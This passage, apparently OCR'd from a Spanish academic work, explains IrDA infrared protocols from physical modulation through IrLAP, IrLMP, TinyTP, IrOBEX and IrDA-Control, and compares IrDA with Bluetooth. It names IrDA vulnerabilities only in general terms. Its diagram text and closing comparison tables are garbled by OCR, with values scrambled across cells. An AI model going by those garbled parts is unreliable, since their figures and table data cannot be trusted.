RZ donde 0 se codifica con un pulso independiente de entre 1.6 microsegundos, y 3/16
de la longitud del bit, y un 1 se codifica con la ausencia del pulso. Con el objetivo de
obtener patrones de byte Unicos que marquen el principio y el fin de una trama y
permitir que en los datos dicha trama pueda portar cualquier dato binario, se utiliza un
mecanismo de byte stuffing (secuencia de escape) dentro de la trama que evite la
presencia de los patrones de principio y fin de trama ya que se antepone este byte
stuffing y deja sin validez, de control al dato coincidente con el de principio o fin. Para

la deteccion de errores utiliza un CRC de 16 bits.
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Este método de modulacion asincrono también es conocido como SIR (serial IrDA). La
operacion de modo SIR a 9,6 Kbps es obligatoria. Para poder usar cualquier otra
velocidad de transferencia de datos. Se debe utilizar primero este modo dado que se

normaliza como obligatorio para negociar el resto de opciones.

1 0 0 1 0 1 0 0
DATOS | [ 7 T 17
1 0 0 1 0 1 0 0
SENAL - S e e
Serial IrDA —[ | | H
(SIR) : ] >
T |
el T
a,e i
4 i
— | ,"
1.6 microseg., —— (Tx3)/16

Figura36: Sefal de datos SIR (serial IrDA).

Dada la sencillez del esquema de modulacion SIR y su bajo coste, se puede encontrar

integrado en una gran variedad de dispositivos de entrada/salida.

2.4.5.3.1.1 La estructura de la trama.

Comienzo de Fin de
Trama (BOF) |. Datos . CRC I Trama (EOF)

‘ 4+— OPERATIVA DE STUFFING —P‘

Figura 37: Estructura de la trama esquema de modulacién SIR.

2.4.5.3.2 MIR BASADA EN DLC:

En este caso se trata de una modulacion que atiende a velocidades superiores y al igual
que en el caso anterior en el flujo de datos el 0 se codifica con la presencia de un pulso
oOptico, si bien para este caso serd de 1/4 de la duracién del intervalo de bit (217ns para

1.152Mbps). La figura representa esta codificacion o modulacion oOptica.
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Figura 38: sefal de datos MIR.

El empaquetado para comunicaciones a 576 Kbps y 1.152 Mbps se basa en SDLC con
un bit stuffing de insercion de cero, que garantiza la ocurrencia minima de ceros (y por
tanto, pulsos de luz) en el flujo de datos. Esto asegura la sincronizacion entre transmisor

y receptor. El siguiente esquema muestra el entramado SDLC.

2.4.5.3.2.1 Entramado SDLC

Flag Flag . Datos . CHC Flag

‘ OPERATIVA DE INSERCCION DE 0 PARA EVITAR

COINCIDENCIA DE DATOS CON CONTROL

Figura 39: Esquema del entramado SDLC.

2.4.5.3.3 4PPM FAST IR (FIR).

La codificacién fisica utiliza modulacion por posicién de pulso (PPM) 1:4 de manera
que cada par de bits en el flujo de datos se representa con un pulso de luz emitido en
una de las 4 posiciones disponibles que componen un simbolo 4PPM.

A la via de comunicaciones se envia el pulso de luz si bien corresponde a una estructura
de 4 bits conocida (de las cuatro Unicas posibles) y que como se representa en la figura

y se comento antes, es la posicion del pulso segun el digito al que corresponda.
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Correspondencia por pulsos por posicion

Figura40: Codificacion 4PPM FAST IR (FIR).

La comunicacion FIR en lo relativo a las tramas es similar a Ethernet construyéndose

con un predmbulo, un delimitador de comienzo de trama y los datos.

. Datos . CRC

Figura 41: Entramado similar al de Ethernet.

PREAMBLE I SFD

Este método es utilizado para atender una taza de transferencia de informacién a 4.0
Mbps vy al igual que el modo MIR, no utiliza bits de start o stop, por lo que, tampoco
son necesarios ni el bit ni el byte de Stuffing. Para el control de errores implementa el
codigo redundante ciclico CRC de 32 bits.

El modo de operacion FIR es opcional, aunque antes de utilizarlo, se debe utilizar el
modo obligatorio SIR a 9.6 Kbps para negociar esta opcién tal como se indicé al

describir dicho modo SIR.

Este nivel PHY deberia estar, al menos, parcialmente implementado en hardware,
aunque en muchos casos es completamente hardware. Con objeto de aislar al resto de la
pila de protocolos de cualquier cambio que se realice a nivel de hardware, se crea un
nivel de software denominado "framer" cuya principal responsabilidad es aceptar las
tramas procedentes del hardware y presentarselas al nivel IrLAP lo que incluye aceptar
las tramas al enviar e implementar la operativa para enviarlas. Ademas, es responsable
de adaptar, por hardware, las velocidades del hardware para atender adecuadamente a

las peticiones del nivel IrLAP.
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Figura 42: Componentes dentro de la pila.
2.46 PROTOCOLOS LOGICOS.

Una vez descrito el entorno del nivel fisico, al que volveremos para detallar los equipos
que lo hacen posible, toca describir el entorno de protocolos de nivel de enlace.
Para ubicar estos la figura resalta dentro de la estructura global anterior los que han de

ser tratados, incluyendo algunos de los opcionales.

i Ny S— e ——
i OBEX
|
IrCOMM
P — :
+| Nivel superior API

inv TP
IAS 4

PROTOCOLOS DEL IrLAP
DRIVER

Software Softw arc
entrama de ()‘5

| ' 1
| I
[ I

Figura43: Protocolos l6gicos de IrDA.
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2.4.6.1 IRLAP (LINK ACCESS PROTOCOL).

El protocolo de acceso al enlace (IrLAP) establece las reglas de acceso al sistema de
infrarrojos y los diferentes procedimientos para el descubrimiento, negociacion,
intercambio de informacion, etc.., es un nivel obligatorio del estandar IrDA pero no
todas sus caracteristicas son obligatorias y a nivel global, proporciona una conexion
ordenada y fiable entre estaciones infrarrojas.
Este nivel se encuentra por encima del "framer" (entramado)y es el protocolo
correspondiente al nivel 2 de la pila OSI (protocolo de enlace de datos) es un protocolo
BOP basado en el control del enlace de datos de alto nivel (HDLC) contemplando el
control sincrono y con extensiones para caracteristicas especificas de algunas
conexiones infrarrojas.
El procedimiento de acceso al medio trata de que una estacion que no esté activa y por
tanto no dispone de una conexién en un momento dado, si desea participar debe
escuchar durante al menos 500 milisegundos para asegurarse de que no hay trafico IR
antes de empezar a transmitir, y transmitir una trama dentro de un intervalo de 500
milisegundos. El acceso al medio entre estaciones se controla por un mecanismo similar
al mecanismo de Token que incorpora un bit de consulta/ final en cada trama.
IrLAP permite la transferencia de informacion sin establecer la conexion previamente,
lo que le hace que proporcione un servicio no orientado a conexion (CL) utilizando la
técnica de difusién. En estos casos se debe utilizar el modo SIR a 9.6Kbps
Para comprender la operativa entre estaciones se establecen tres procedimientos basicos
existiendo otros auxiliares:

@ Procedimiento de Descubrimiento

@ Procedimiento de Negociacion

& Procedimiento de Intercambio.

2.4.6.1.1 PROCEDIMIENTO DE DESCUBRIMIENTO.

Su finalidad es reconocer a los participantes y define una manera ordenada de
intercambiar 1D’s, utilizando para ello el método de modulacion o codificacion SIR a
9.6 Kbps El que desencadena el descubrimiento difundido de su propio ID un nimero

de veces estipulado y escucha durante las ranuras o slot antes mencionados. Los oyentes
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eligen aleatoriamente uno de estos slots, y mandan su propio ID. Si se produce una

colision, se repite el procedimiento.

2.46.1.2 PROCEDIMIENTO DE NEGOCIACION.

Tiene como fin establecer una conexion con los pardmetros de operacion que las dos
partes puedan soportar. Algunos de estos pardmetros, como la velocidad de intercambio
de bits, deben ser idénticos en ambos lados, haciendo que posteriormente se utilicen
aquellos que son acordes a ambos equipo y constituyan el maximo comun denominador.
Otros parametros, como el tamafio méximo de datos, quedan limitados por algunas de
las partes y deben ser respetados por las otras. Al igual que en el descubrimiento, en el

procedimiento de Negociacion se debe utilizar el modo SIR a 9.6 kbps.

Los equipos deben poder contestar tanto al procedimiento de Descubrimiento como al
de Negociacion mientras que para el inicio sera diferente ya que la contestacion es
opcional. Al igual que en los protocolos genéricos orientados al bit y bajo la cobertura
del arbol procedimental de estos, los participantes (estaciones) trabajan en

NRM (Modo Normal de Respuesta) es decir, con la consideracién de principal y
secundaria.

Una vez conocidos los pardmetros de operacion por ambas partes, se puede establecer la
conexion. Antes de que esto suceda, todo el trafico se lleva a cabo en el modo SIR a 9.6
kbps con un tamafio méximo de datos de 64 bytes, esta situacion es transitoria ya que
una vez establecida la conexion, la velocidad de transferencia de datos se puede

negociar hasta a un maximo de 4 Mbps, y el tamafio maximo de datos hasta 2.048 byte.

2.4.6.1.3 PROCEDIMIENTO DE INTERCAMBIO.

Durante este se transfieren tramas de datos y tramas de supervision para controlar el
flujo y realizar las operativas de recuperacién de errores, paso del token, etc. Las tramas
gue contienen datos de usuario se comprueban secuencialmente ademas de ejecutar el
correspondiente CRC y el intercambio de datos es siempre bidireccional e

independiente de qué la estacion sea primaria o secundaria.
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La ubicacién de este protocolo seria como se representa en la figura que lo desglosa de
la arquitectura global anteriormente expuesta.

Figura 44: Procedimiento de intercambio.

Ademas de los procedimientos anteriores, existen otros secundarios o auxiliares, por
ejemplo: sniffing, resolucion de conflicto de direcciones, intercambio de modo de

operacion primario y secundario, etc.

2.4.7 IRLMP (LINK MANAGEMENT PROTOCOL).

Es el protocolo de gestion del enlace (IrLMP) es obligatorio en la construccién de la
pila del IrDA, pero no todas sus caracteristicas lo son. Posee dos componentes:

@ Modulo LM-IAS: Servicio de acceso a la informacion del nivel de enlace.

& Modulo LM-MUX: Gestor de la multiplexion de enlace.
El nivel IrLMP depende tanto de la conexion fiable como del rendimiento de la

negociacion ambas proporcionadas por el nivel IrLAP.

[BASE DE DATOS SOBRE

[— - - SERVICIOS
i OBJETO = ATRIBUTOS
;1 yip

1
1
1
MODULO LM-MUX _|__ _,| MULTIPLES ENLACES
I UNA UNICA CONEXION

Figura45: IRLMP (link management protocol).
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2.4.7.1 MODULO LM-IAS.

Est4 constituido por una base de informacién acerca de los servicios que ofrece y
gestiona dicha base de modo que otras estaciones IrDA puedan averiguar los servicios
que ofrece. Esta informacion se divide en numerosos objetos, cada uno asociado con un
conjunto de atributos. Por ejemplo, "Dispositivo” es el objeto obligatorio y sus atributos
"Nombre de dispositivo" (una cadena ASCII) y "Soporte IrLMP™ (NUmero de version
IrLMP, soporte IAS, y soporte LM-MUX).

2.4.7.2 MODULO LM-MUX.

Proporciona multiples enlaces a conexiones de datos a través de una Unica conexion
proporcionada por IrLAP. Dentro de cada estacion infrarroja se pueden definir maltiples
puntos de acceso al enlace, denominados LSAP cada uno con un Unico selector (LSAP-
SEL). EI LM-MUX proporciona servicios de transferencia de datos entre selectores
LSAP-SEL vy los destinos finales dentro de la propia estacion infrarroja asi como la
conexion IrLAP con otras conexiones infrarrojas. El modulo LM-IAS utiliza un LSAP-

SEL definido (0) para todas las estaciones infrarrojas a través de IrLAP.

MODULOQ LM-TAS
MODULO LM-MUX

|
- .

ﬂ ESTACION INFRARROJOS
SERVICIO DE TRANSFERENCIA oy ACHO I TEATCOTERICIA,
DE DATOS ENTRE DESTINOS FINALES o i o o
LAl
1 1 [o=F ’.mﬁr 5=z
Lsdp A
AP-SEL | I | [TAHSEL Punto de sccln l enlace
Selgctor dg¢ LSAP Sdecimrfe LS AP

LSAP

LSAP Punin de scfese ol enlsce

Punto df accesp al enlace

ESTACION INFRARROJOS
4

Figura46: Modulo LM-MUX.
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LM-MUX puede operar en dos modos, exclusivo o multiplexado.

& Modo exclusivo solo puede estar activa una conexion LSAP y el control de flujo

que realiza el IrLAP solo se realiza para una conexion.

@ Modo Multiplexado varias conexiones LSAP comparten la conexion IrLAP

sobre la que se realiza las conexiones y el control de flujo que antes lo llevaba el
IrLAP ahora se relega a los niveles superiores.

2.4.8 1AS (INFORMATION ACCESS SERVICE).

El servicio de acceso a la informacion (IAS), actla como una tabla para un dispositivo,
de modo que cada entrada de dicha tabla debe tener los servicios/aplicaciones
disponibles para las conexiones entrantes. Este servicio se utiliza para determinar las
direcciones de los servicios o selectores (LSAP-SEL) y puede ser consultado para
obtener informacion adicional sobre los mismos.

La operativa del 1AS se organiza mediante la filosofia de cliente y servidor, de modo
que el cliente es el componente que realiza las peticiones de servicio, en los otros
dispositivos, utilizando el protocolo IAP que permite el acceso a la informacion, y por
lo tanto el cliente, por medio de una base de objetos alimentada por los
servicios/aplicaciones locales, responde a las peticiones del cliente IAS

Estos objetos de dicha base consisten en un nombre de clase y uno o atributos. El
nombre de clase es equivalente al nombre del servicio y es por el que los clientes IAS lo
solicitan. Los atributos documentan el servicio de modo que un atributo imprescindible
es el selector de punto de acceso al servicio de enlace

(LAP-SEL) y que como ya se menciono es necesario para el trabajo del nivel IrLMP
Una de las operaciones definidas para IAS, y la méas utilizada, es la de: Get Value By
Classy su modo de operacion es el siguiente: La parte solicitante da el nombre de clase
(por ejemplo, Impresora) y el nombre del atributo que quiere (por ejemplo, el LSAP-
SEL), y recibe una contestacion consistente en una o respuestas (por ejemplo, los
LSAP-SELs para cualquier servicio de impresién) o una indicacion de que el servicio o

el atributo no existe.
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2.4.9 PROTOCOLOS OPCIONALES.

De los protocolos opcionales se destacan los siguientes:
2.4.9.1 IrDA LITE.

No siendo un nivel como tal aporta modificaciones a los anteriores, asi describe
estrategias de disefio e implementacion con la finalidad de lograr una implementacion
de la pila de protocolos lo méas reducida posible, no comprometiendo las
funcionalidades de la conexion IrDA.

Dicha reduccion esta condicionada al hardware, software y a las habilidades de los
desarrolladores dado que el seleccionar todas las funcionalidades, en igual medida, para
cada caso podria comprometer el rendimiento y acotar facilidades en ciertos
dispositivos. Habra que buscar el compromiso de rendimiento, funcionalidad y tamafio

de la pila.

2.4.9.2 TinyTP (TTP).

Este protocolo de transporte opcional, tiene como objetivos principales el control de
flujo para LSAP de manera individual y la segmentacion o re ensamblar de los datos,
por lo que en el mayor nimero de los caso toma entidad de protocolo principal y
obligatorio

El control de flujo adicional es necesario cuando LM-MUX se encuentra en modo
multiplexado y se realiza por canal. El IrLAP Ofrece control de flujo, pero se necesita
otro mecanismo de control, de flujo ya que si sobre una conexion LAP se realiza
multiplexion LMP y se desata el control de flujo de LAP, una de las conexiones
multiplexadas con LMP quedara a la espera de que este control de flujo se desactive. La
solucion estd en establecer el control de flujo se desactive. La solucidén esta en
establecer el control de flujo en el nivel de TTP sobre las conexiones de

LMP y no sobre LAP.
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Figura 47: Protocolo de transporte opcional Tiny TP (TTP).

La operativa de este control de flujo estd basada en establecer un crédito lo que significa
que se tiene permiso para enviar un paquete LMP, crédito que depende del tamafio de
buffer que se disponga teniendo maés créditos si se dispone de mas buffer. Al enviar
datos se desata el uso de créditos, estableciéndose una unidad por paquete enviado.

En lo relativo a la segmentacién y re ensamblaje de datos se utilizan para ajustar el
tamafo de buffer de usuario al tamafio de datos IFLAP/IFLMP afiadiendo, para ello, un
byte de informacién a cada paquete IrLMP que se segmenta. Esta operativa se conoce
como SAR, y divide los datos en fragmentos SDU que se dimensionan con arreglo a lo

negociado en la conexion inicial TTP — LMP.

2.4.9.3 IrOBEX.

Es un protocolo opcional del nivel de aplicacion disefiado para permitir a sistemas de
todo tamafio y tipo intercambiar una gran variedad de comandos de una manera
estandarizada. Direcciona una de las aplicaciones mas comunes sobre PCs o sistemas

embebidos:

2.4.9.3.1Aplicacion: Tomar un objeto de datos arbitrario, un archivo, y mandarlo a

cualquier dispositivo infrarrojo al que apunte.
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Figura 48: Protocolo opcional IrOBEX.

La idea de objeto es muy amplia siendo desde el archivo, antes comentado hasta
paginas, mensajes a teléfonos, imagenes digitales, tarjetas de comercio electrénico,
registros de bases de datos, resultados de diagndsticos o programacion.

Ademas proporciona algunas herramientas que permiten al objeto ser reconocido y
manejado inteligentemente por el receptor. EI denominador comin es que la aplicacion
no necesita involucrarse en la gestion de las conexiones o en el tratamiento de las
comunicaciones, simplemente coger el objeto y mandarlo al otro lado sin

preocupaciones.
2.4.9.4 IrCOMM.

Las comunicaciones IrDA difieren significativamente de las comunicaciones serie 0
paralelo ya que estas ultimas operan con sefiales que envian de modo individual y
concurrente por diferentes circuitos y sin embargo las sefiales infrarrojas viajan en un
unico rayo de luz y deben ajustarse a lo establecido en LMP o a paquetes de nivel

superior en un flujo serie.

El estdndar IrCOMM fue desarrollado para resolver la problemaética de poder usar los
puertos serie y paralelo ya existente para la operativa de infrarrojos sin que esto
signifique una modificacion de dichos puertos.

Para esto el protocolo rCOMM se define el denominado “canal de control” con el que
se maneja la informacion de los circuitos que no estan asociados a datos en la pila de
protocolos, ITCOMM descansa sobre LMP y Tiny TP.
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Figura 49: Estandar IrCOMM.

IrCOMM es un protocolo que se aplica a determinadas aplicaciones operan mejor
evitando usar IrCOMM vy utilizan directamente otros protocolos de aplicacion IrDA
como IrOBEX, IrLAN, o Tiny TP y esto se debe a que IrCOMM enmascara algunas de
sus caracteristicas adecuandolas a los protocolos méas bajos. Después de esto, su trabajo
consiste en hacer que IrDA se parezca a las conexiones serie y/o paralelo lo que hace
que caracteristicas del IrDA tales como la negociacion automatica de los parametros, se
intenten adecuar a serie o paralelo y esto no es posible sobre estas Gltimas.

Ante las diferentes aplicaciones que usan los circuitos que no estan asociados a datos en

las comunicaciones serie y paralelo, se definen cuatro tipos de servicios:

2.4.9.4.1 3 Wire Raw (Emulacion de Serie y Paralelo): Funciona directamente sobre
IrLMP. Opera mandando datos Unicamente, es decir, no envia informacion que no esté

asociada a datos y por tanto no usa el canal de control.

2.4.9.4.2 3Wire (Emulacion de Serie y Paralelo): Utiliza Tiny TP Opera utilizando al

minimo el canal de control.

2.4.9.4.3 9 Wire (S6lo Emulacion de Serie): Utiliza Tiny TP En este caso utiliza el canal
de control para mantener el estado de los circuitos no asociados a datos del estandar RS-

232, es decir, los de control.
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2.4.7.4.4 Centronics (s6lo emulacién de paralelo): Se soporta sobre Tiny TP y utiliza el
canal de control para mantener el estado de los circuitos no asociados a datos del
estandar Centronics.

2.4.9.5 IrLAN.

IrLAN permite establecer conexiones entre ordenadores portatiles y LANs de oficina.
Se crea en base a la proliferacion de equipos de oficina y portatiles con puertos de
infrarrojos y dado que este interfaz ofrece velocidades ya operativas (1.15Mbps y 4
Mbps) la aplicacion es obvia. El protocolo propuesto (IrLAN), deberia permitir la

interoperabilidad de todos los dispositivos con dichos puertos.

2.4.10 IRDA-CONTROL.

El IrDA-Control (IrDA-C, anteriormente IrBus) se ha ideado para conectar periféricos
de control como teclados, ratones, dispositivos apuntadores o joysticks a una estacion
fija. Las diferencias con el anterior, el I'DATA son que en este caso la transferencia no
es bidireccional, la distancia maxima se amplia hasta 5 metros méas y la velocidad es

suficiente con 5Kbps. La pila de protocolos para este es la siguiente:

@ PHY (Physical Signaling Layer) Establece la velocidad y distancia de
transmision.

& MAC (Media Access Control) Proporcionar soporte para hasta ocho dispositivos
simultaneos conectados al mismo receptor.

@ LLC (Logical Link Control) Realiza funciones de seguridad y retransmisiones

en caso de que el envio de informacién falle.
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Figura 50: Pila de Protocolos.

Hay cuatro posibles protocolos a nivel de aplicacion y estan codificados con los dos bits
del campo Host ID de las tramas LLC. Dos de ellos estan definidos y los otros
pendientes de desarrollo, los definidos son:

v" HA (Home Appliance Application) Disefiado para atender aplicaciones para el
hogar.

v" HID (Human Interfaz Device Application) Disefiado para atender dispositivos
informéticos de entrada.

2.4.11 PHY (PHYSICAL SIGNALING LAYER).

El diagrama de bloques de la implementacion hardware del sistema IrDA-Control es la
siguiente:

IrBus MAC

E' CONTROLADOR
= — MODEM
=
_—
— || TRANSCEIVER IR ||
| I [ = LR
I |

| . INTERFAZ IN&RROJOS -

Figura 51: Diagrama de bloques del sistema IrDA-Control.
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Las sefiales en el interfaz entre el Controlador y el Modem son un flujo de bits en serie.
Las que estan en el interfaz entre el Modem y el Transceptor son las sefiales eléctricas
moduladas del flujo de bits anterior y en el interfaz entre el transceptor y el sistema

infrarrojo son las correspondientes sefiales Opticas.

IrBus MAC

UNTROLADOX

>—1 FLUJO DE BITS EN SERIE
— MODEN

[ o]

—_— SENALES ELECTRICAS MODULADAS
= I
p—

Al 3
SENALES OPTICAS
INTERFAZ L}iﬁRROJOS -
=

Figura 52: Interfaz Infrarrojo.

Esta especificacion define las velocidades de transmision, esquemas de modulacion,
longitudes de onda infrarrojas, etc. de las sefiales dpticas emitidas por el transmisor
infrarrojo y aquellas provenientes del receptor en el interfaz sistema infrarrojo y el
transceptor., y no trata el voltaje del circuito controlador que maneja el LED del
transmisor infrarrojo o la forma de onda tras la conversion fotoeléctrica realizada en el
receptor infrarrojo.

El sistema IrDA-Control trabaja a una velocidad de transmision de 75Kbps. Los datos a
transmitir se codifican con el esquema de modulacion en secuencia de 16

Pulsos (16PSM), modulados con una sub portadora de 1.5 Mhzmandando la salida al
transmisor infrarrojo. ElI esquema 16PSM es capaz de reducir la interferencia entre el
sistema IrDA-Control y un sistema de control remoto que utilice frecuencias en la banda
33kHz - 40kHz. Y tiene un bajo nivel de energia en la banda de frecuencias en la que
opera.

2.4.12 El sistema 16PSM trabaja con el denominado "tiempo de simbolo (Dt)" que se
divide en ocho slots o ranuras definidas como “chips"”, y un pulso utiliza dos o cuatro
chips. Las secuencias de pulsos se denominan simbolos de datos 16PSM, o simplemente
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simbolos y hay 16 formas diferentes de onda como simbolos de datos 16PSM. Cada
conjunto de cuatro bits corresponde a uno de los 16 valores de simbolo, y se definen
como Data Bit Set (DBS).

El sistema IrDA-Control utiliza dos formatos de trama diferentes: tramas pequefias y

tramas grandes. Cada una consta de seis campos:

@ (AGC)control de ganancia

@ (PRE) automatico; preambulo;

& (STA 0 STL); flag de start

& Trama MAC

@ CRC (CRC-8 para tramas pequefias y CRC-16 para tramas grandes)
@ (STO).Flag de stop.

Trama Grande

Trama

.
I AGC I PRE I STA ITrama NTA(Il CRC STO
<

| Pequena

Figura 53: Campos de la trama del sistema IrDA.

La distancia y el angulo pueden variar dependiendo de las aplicaciones (hasta 5 metros).
En IrDA Control se definen dos tipos de dispositivos periféricos segun la distancia:

cortas y largas distancias.

Se debe satisfacer una calidad en la comunicacion con una tasa de error de bit de
10-*Dentro del rango de distancia permitida y considerando la luz ambiente por debajo

del 20%IrDA de la luz ambiental (=100mW/cm 2). Las intensidades minima y maxima

para el transmisor son 9 y 500 MW/Sr dentro. De un cono de 30 grados. La sensibilidad
minima y maxima para el receptor es 0.4 microW/ (cm.cm) y 1250 micro/ (cm.cm) con

un cono similar.
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2.4.13 MAC (MEDIA ACCESS CONTROL).

Trabaja en modo asimétrico permitiendo a un dispositivo host comunicarse con
maultiples dispositivos periféricos e incluso hacerlo con 8 simultaneamente
proporcionando una asignacion dindmica y permitiendo la reutilizacion de las

direcciones de los periféricos.

DISPOSITIVO
HOST

ASLGEACLOH DL\.AM:\ DLDIRECQO N

%// \k?
PERIFERICO HASTA§ PERIFERICO)

Figura 54: Asignacion de direcciones.

2.4.14 OPERATIVA.

El sistema IrDA-Control consiste en un conjunto de hosts y periféricos entre los cuales
tiene lugar una comunicacion a través de infrarrojos. En este sistema, un host gestiona
sus comunicaciones con mdltiples periféricos con arreglo a una base de tiempos de
modo que opera en modo sondeo respuesta de forma que solo los host pueden
desencadenar, por medio de un “permiso de respuesta”, la comunicacion con cualquier

periférico de su entorno, pudiendo si es preciso actuar como periférico.

Un host puede atender a varios dispositivos simultaneamente en tiempo compartido,
teniendo en cuenta que solo existe comunicacién entre host y periféricos y no entre

periféricos.

Existe la posibilidad de que un periférico mediante una trama despierte a un host si
detecta que este esta dormido (Modo 0) situacion a la que llega el host si detecta que en

un tiempo acordado no se ha registrado ninguna entrada de ningun periférico.
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2.4.15 DIRECCIONES E IDENTIFICADORES

Existen identificadores y direcciones para de hosts y para periféricos de modo que la
direccién de un host que es de 8 bits se denomina HADD Yy puede venir impuesta desde
fabrica o darla en su configuracion y la direccion de un periférico es de 4 bits, se
denomina PADD Yy es asignada por el host de un modo inequivoco para establecer la
comunicacion. El identificador de un host es de 16 bits y se denomina Host ID y la
identificacion de un periférico es de 32 bits y se denomina PFID. La direccion de un

periférico es).

Ambas informaciones deben intercambiarse entre host y periférico y la asignacion de
direccion del periférico forma parte del proceso denominado de Enlace (bin ding), que
se utiliza cuando un periférico enumerado intenta establecer una comunicacion con el
host. Los nimeros de identificador (Host ID/PFID) se usan solamente al comienzo de la
comunicacion para identificar a los dispositivos, y después de su identificacion, tanto

hosts como los periféricos se identificaran sélo por su direccion (HADD/PADD).

2.4.16 MODOS DE OPERACION.

Para dar cobertura a los requerimientos de las diversas aplicaciones, IrDA Control

ofrece tres modos de operacion posibles para el host.

2.4.16.1 MODO-0 - SLEEP MODE. Tiene como finalidad minimizar el consumo de
energia cuando un host y sus periféricos no necesitan comunicarse. Ademas es el modo

por defecto de cada host.

2.4.16.2 MODO-1 - NORMAL MODE. Modo normal de funcionamiento del host. En el
que se soportan periféricos que requieran diferentes anchos de banda. Estos periféricos
incluyen dispositivos que deben ser manejados dentro de unos ciertos limites de tiempo
(periféricos de latencia critica, CL), como joysticks y game pads. También se soportan
periféricos que normalmente no deben tener un tiempo critico de latencia (NCL), como
unidades de control remoto. Los teclados y ratones pueden ser manejados bajo este
modo, como periféricos con latencia y sin latencia. Un host debe garantizar que un

periférico CL pueda mandar peticiones cada 13.8milisegundos.
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2.4.16.3 MODO-2 - IRDA-COEXISTENCE MODE. Permite la coexistencia de la
comunicacion de datos IrDA SIR version 1.1 con la comunicacion IrDA-Control.

2.4.16.4 TIPOS DE TRAMAS MAC.

Se definen dos clases de tramas MAC de acuerdo al tamafio méximo de los datos que
pueden ser transmitidos por un host o periférico. Las tramas cortas pueden contener
hasta 9 bytes de datos y deben ser trasmitidas con el flag STS, STO y CRC-8. Una
trama larga puede contener hasta 97 bytes y se deben transmitir con los mismos flags
que la anterior cambiando el CRC-8 por el CRC-16.

Los hosts y periféricos suelen utilizar tramas cortas y solo trabajan con largas cuando
estan en modo 1. Los periféricos las usan solo cuando responden una peticion de un
host que tiene habilitado el bit de trama larga, lo que ocurre cuando el host estd en modo
1, no estando permitido el uso de estas en el mismo proceso de consulta, es decir, si el
host envia una larga para la consulta el periférico no puede contestar con otra larga.

Las tramas MAC se componen de un campo de direccion de host (1 byte), direccién de
periférico (4 bits), control MAC (4 bits) y datos MAC (0-97 bytes).

2.4.17 PROCESO DE IDENTIFICACION.

Es el proceso de reconocimiento entre un host y un periférico lo que permitira la
comunicacion entre ellos basandose en el intercambio del PFID y del HADD. EIl host
identifica al periférico usando el identificador fisico de éste (PFID) y el periférico

identifica al host usando su direccién (HADD) enviando tramas cortas.

Todo periférico debe ser identificado por el host antes de que pueda intercambiar datos
con el nivel de aplicacion del host. Si el host recibe respuesta de un periférico que no ha

identificado la ignora. El siguiente diagrama materializa este intercambio
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Figura 55: Proceso de identificacion de periféricos.

En él el host pregunta con la direccion OxF y los periféricos con un PADD diferente de
este pueden responder, en esta pregunta el host envia informacion acerca de su
identificativo (Host ID) e informacion del Host. El periférico almacena esta informaciéon
y contesta con una trama que incluye su PFID e informacion sobre el mismo en la que le
dice si es periférico de latencia critica 0 no y si es capaz de enviar y recibir tramas

largas.

El host que ha recibido esta trama, guarda el PFID y la informacion del periférico con lo

que en la siguiente consulta, se comunicara utilizando el PFID recibido.

Este proceso puede fallar por varias causas algunas de ellas son: que respondan varios
periféricos, que no se reciba el PFID, etc. para ellas el protocolo dispone de soluciones

de temporizacion o de reenvio.

2418 LLC (LOGICAL LINK CONTROL).

El nivel LLC proporciona recursos para aumentar la fiabilidad de la comunicacion de
datos hacia y desde la capa MAC, por medio de un protocolo sencillo de tramas de
control. Estos recursos son usados por los dispositivos IrDA-Control, sin importar como

son los protocolos de nivel superior.

El nivel LLC especifica solo los métodos para reconocer los envios. Por tanto, podria
suceder que el nivel LLC, por si mismo, no puede cumplir con una aplicacion que

requiera una comunicacion estrictamente fiable. Esto implica que cuando es necesario
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asegurar la fiabilidad de la comunicacion. Los niveles superiores deberian implementar
funciones de correccion de errores, funciones de retransmision, etc., En algunos casos,
como en el HID, la mayor parte del nivel de enlace reside en realidad en el Sistema
Operativo del Host, y el nivel LLC de IrDA-Control se usa como un puente hacia y
desde el nivel MAC.

Sus funciones principales son:

@ Transferencia de informacion mandando comandos, recibiendo respuestas, y
mandando y recibiendo datos.

& Prevencion de duplicacion de tramas validando envios basandose en transmision
de una trama simple (ACK) y retransmitiendo como respuesta a un NAK o a la

ausencia de contestacion.

Este tipo de transmisién cubre el rango de datos hasta 115.2 kbps que es la méaxima tasa
de datos soportada por las UART’s estandar. La minima demanda de velocidad de
transmision para IrDA es de s6lo 9600 bps. Todas las transmisiones deben ser

comenzadas a esta frecuencia por cuestiones de compatibilidad.

2.4.19 VULNERBILIDADES DE IrDa.

Un nimero de vulnerabilidades afectan a IrDA en particular.

@ Espionaje: es posible detectar la luz reflejada, filtrando cualquier otro ruido
ambiente de iluminacién, es decir, los datos pueden ser capaces de ser
recuperados.

& Los ataques DoS: Hecho a mano los paquetes IrDA pueden ser inyectados en el
receptor para causar una denegacion de servicio o reiniciar el dispositivo host.

& Escalada de privilegios: Varios exploits que existen potencialmente permite a un
atacante local para acceder a los datos que normalmente no serian accesibles a
ellos como un usuario con pocos privilegios.

& No hay seguridad de nivel de enlace: Toda la informacion se transmite en un

formato sin cifrar
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2.5 ANALISIS COMPARATIVO BLUETOOTH VS INFRARROJO.

Bluetooth no necesita de un campo visual entre emisor y receptor para que se logre una
comunicacion, permitiendo una mayor movilidad de trabajo entre dispositivos.

Blue Tooth

Infra Rojo

s0e

Figura 56: Aplicaciones IrDA y Bluetooth sobrepuestas.

2.5.1 comparacion de caracteristicas de la tecnologia IrDa Vs. Tecnologia

Bluetooth.

Comunicaciones
Gama

menos 1 metro.

Tecnologia.
\ Infrarrojo Bluetooth.
Caracteristicas.
Por medios fisicos. Rayos RF(2.4 GHz)
Infrarrojos.
Hasta por lo

10 cm a 100cm

Tipo de conexion,
direccion.

Punto a punto,
angulo cerrado

Multipunto,
omnidireccional

de (30 grados).
4 Mbps (16 1 Mbps
Maxima velocidad de Mbps en el (agregado).
datos. camino).
Las limitaciones | Autenticacion,
Seguridad. fisicas ofrecen cifrado de
alguna espectro
proteccién ensanchado
integrada.
Menos de $ 2 Menos de $ 5
Costo aproximado. dolares dolares.

Tabla 6: IrDa vs. Bluetooth comparacion de caracteristicas.
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ANALISIS COMPARATIVO.

Establecimiento de comunicacion entre tecnologias.

Tecnologia Tipo de conexion Topologia de Tipo de Sefal. Entorno de
Red. Comunicacion
+ Punto a punto. + Piconet: de 2 « De 10 m a
Bluetooth |+ Punto a multipunto a 8 (maestro|#+ Banda ISA de 100m a la
esclavo). 2.5GHz redonda.
+ Scatternet:
varias
piconets.
+ Punto a punto. Unidireccional. | Infrarrojadifusa |+ Opera a una
